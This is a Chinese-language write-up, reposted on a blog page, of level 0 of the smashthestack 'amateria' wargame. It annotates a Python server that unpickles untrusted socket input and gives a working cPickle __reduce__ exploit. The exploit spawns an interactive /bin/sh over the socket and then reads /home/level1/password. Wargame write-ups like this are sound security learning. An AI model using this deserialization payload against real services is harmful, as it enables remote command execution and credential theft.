level-0

根据提示的信息,猜测我们需要通过ssh远程连接服务器,password,levels这些信息都保存在服务器的文件系统中。

第零关,给出的提示是命名为level1.py的python脚本,下面我们来分析这个脚本。

#!/usr/bin/python

import socket
import cPickle
import os
import sys
import signal
#全局变量,应该是指定端口号
PORT = 54321

def handle(cs, addr):
    #cs是远程连接的客户端socket对象实例,对客户端发送信息确认连接
    print "Conn from", addr
    cs.sendall("HAI\n")
    #接受远程客户端的payload
    try:
        l = cPickle.loads(cs.recv(1024))
        s = sum(l)
        cs.sendall("%d\n" % s)
    except:
        cs.sendall("fail :(\n")


    cs.sendall("bye\n")
    cs.close()
#linux服务器会因为并发服务器常常fork很多子进程,设置内核把僵尸子进程转交给init进程去处理,省去了大量僵尸进程占用系统资源。
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
#实例化一个socket对象为s,绑定到服务器本地的所有ip的54321端口并监听
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", PORT))
s.listen(100)


while 1:
    #接受连接请求,并fork一个子进程
    (cs, addr) = s.accept()
    pid = os.fork()
    #一旦fork子进程以后,关闭socket,并调用handle函数处理客户端发送来的payload
    if pid == 0:
        s.close()
        handle(cs, addr)
        sys.exit(0)

    cs.close()

该脚本是在socket服务端监听54321端口,每当有一个外部连接请求,就fork一个子进程接受客户端payload,并送到handle()函数处理,handle()函数尝试调用cPickle.load()接受payload并用sum()对返回值求和发送,否则抛出异常发送fail:(给客户端。

细节知识参见以下blog:

  1. python socket编程:https://www.cnblogs.com/hazir/p/python_socket_programming.html
  2. python cPickle模块:http://blog.csdn.net/u010602026/article/details/67650829
  3. 绑定0.0.0.0:http://blog.csdn.net/u012359618/article/details/56277254

猜测这个脚本运行在amateria.smashthestack.org,于是使用nc命令连接目标端口$ ncat amateria.smashthestack.org 54321:

$ ncat amateria.smashthestack.org 54321
HAI
fail :(
bye

结果返回了fail:(和bye,验证了这一猜想,下面我们需要利用cPickle模块来完成exploit。

Python的cPickle模块实际上是不安全的,在文档中cPickle module就有一段warning,说明可以被利用。

object.__reduce__() 方法中说明了,当Pickler无法识别接收到的对象类型时,会对其实施object.__reduce__()方法,该方法不接收任何参数,但必须返回tuple或者string,于是构造如下exploit.py来构造object.__reduce__()方法来返回shell:

import cPickle
import subprocess


class Exploit(object):

    def __reduce__(self):
        return (
            subprocess.call,  # the callable that is returned when this method is called
        (
            ('/bin/sh', '-i'),  # Tuple of arguments to pass to subprocess.call
            0,  # set bufsize to zero, nothing needs to be buffered
            None,  # set executable to None. Nothing needs to be executed as a replacement
            4,  # set stdin to a fd which represents the socket we open to the server
            4,  # set stdout to a fd which represents the socket we open to the server
            4   # set stderr to a fd which represents the socket we open to the server
        )
    )

print cPickle.dumps(Exploit())

然后可以将该脚本用nc传给服务器:

$ python exploit.py | nc amateria.smashthestack.org 54321
HAI
/bin/sh: can't access tty; job control turned off
$
fail :(
bye

仔细阅读网站提示信息发现,所有通向外部的连接都是禁止的,所以该方法行不通,于是转而想到,只需要获得password信息即可,而它就保存在/home/<user>/password之中,于是将子进程调用修改如下:

('cat', '/home/level1/password'),  # Tuple of arguments to pass to subprocess.call

再用nc传一遍,就成功得到了level1的口令:

$ python exploit.py | nc amateria.smashthestack.org 54321
HAI
<password is here>
fail :(
bye

为了不剧透,这里就不显示通关口令了:)。然后使用ssh连接,输入口令,成功以level1用户身份获得了shell:

$ ssh -p2229 level1@amateria.smashthestack.org
  .-----------------------------------------------------------------.
 /  .-.                                                         .-.  \
|  /   \                 Welcome to amateria!                  /   \  |
| |\_.  |         The first level is a remote one.            |    /| |
|\|  | /|                        Read                         |\  | |/|
| `---' |        http://amateria.smashthestack.org:89/        | `---' |
|       |                for more information.                |       |
|       |-----------------------------------------------------|       |
\       |                                                     |       /
 \     /                                                       \     /
  `---'                                                         `---'
level1@amateria.smashthestack.org's password: 
       __  __      _____    ____  _       
  __ _|  \/  | __ |_   _|__|  _ \(_) __ _ 
 / _` | |\/| |/ _` || |/ _ \ |_) | |/ _` |
| (_| | |  | | (_| || |  __/  _ <| | (_| |
 \__,_|_|  |_|\__,_||_|\___|_| \_\_|\__,_|

    - Levels in /wargame
    - Passwords in /home/<user/password
    - Workspace in /tmp/<somethingrandom>

    For help with the game, join us on IRC at 
    #amateria @ irc.smashthestack.org

    Server admins: p1ra , kaliman, morla

        ---( Have fun! )---
-bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)
level1@amateria:~$ 

本文参照了Nic Young的blog以及自己的实验尝试,欢迎各位大神纠正我的错误@_@~! 打不开网站的记得搭梯子哟。

 

转载于:https://www.cnblogs.com/lovelybunny/p/8252846.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值